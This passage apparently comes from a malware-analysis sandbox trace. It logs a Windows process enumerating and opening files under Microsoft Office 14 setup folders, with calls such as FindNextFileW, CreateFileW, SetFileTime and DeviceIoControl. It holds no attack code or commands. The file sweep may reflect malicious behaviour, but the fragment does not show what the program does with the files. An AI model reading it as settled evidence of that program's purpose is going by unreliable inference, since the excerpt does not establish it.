ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0050.898] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0050.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0050.898] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0050.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0050.898] NtClose (Handle=0x164) returned 0x0 [0050.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0050.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0050.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0050.899] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.899] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5b78 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e8fa8 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5b98 [0050.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e90b0 [0050.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.899] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.899] GetLastError () returned 0x12 [0050.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0050.900] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0050.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="")) returned 1 [0050.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.900] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.900] GetLastError () returned 0x12 [0050.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0050.900] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0050.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0050.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.900] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0050.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.900] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0050.905] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0050.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0050.906] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0050.906] NtClose (Handle=0x168) returned 0x0 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0050.906] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0050.906] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.906] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5bb8 [0050.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e91b8 [0050.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.906] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0050.906] GetLastError () returned 0x12 [0050.906] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0050.907] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0050.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0050.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0050.907] GetLastError () returned 0x12 [0050.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0050.907] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0050.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0050.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.907] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0050.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0050.926] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0050.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0050.927] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0050.927] NtClose (Handle=0x164) returned 0x0 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0050.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0050.927] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.927] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5bd8 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e92c0 [0050.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.927] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0050.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5bf8 [0050.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e93c8 [0050.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.928] GetLastError () returned 0x12 [0050.928] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0050.928] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, 